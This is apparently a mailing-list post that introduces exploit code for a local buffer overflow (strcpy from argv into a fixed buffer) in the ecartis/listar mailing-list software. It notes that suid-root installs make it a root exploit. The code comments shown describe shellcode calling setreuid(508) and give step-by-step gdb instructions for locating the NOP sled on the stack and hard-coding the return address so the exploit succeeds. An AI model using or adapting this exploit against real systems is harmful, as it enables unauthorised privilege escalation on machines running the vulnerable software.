Heres some code for this post a while back ...
http://online.securityfocus.com/archive/82/258763
This is NOT the same issue in the my_strings.c there are MULTIPLE issues
in ecartis still and the same goes for listar...
This issue is a strcpy from argv to a fixed buffer .... nothing special.

ecartis and listar are one in the same... depending on how you install
either one it could be a root exploit or it could be a non priv account
exploit. I have seen alot of listar installs suid root...

 * 3) Shellcode will try to do a setreuid(508);

 * I had trouble reaching my own buffer in the enviroment dynamicly, so i gdb'ed it.
 * If the exploit fails, comment the system() that runs ecarthis, uncomment the other system()
 * The run this exploit, you will be in bash then, do: gdb /home/ecartis/ecartis
 * in gdb, type: run $RET
 * The program will probably then segfault, then type: x/200x $esp and press enter a couply of times
 * until you see alot of 0x90909090. Then pick on of those address and replace it with the
 * int get_sp = 0xbffff550. Change the system() commands below back as how they were and rerun the exploit.
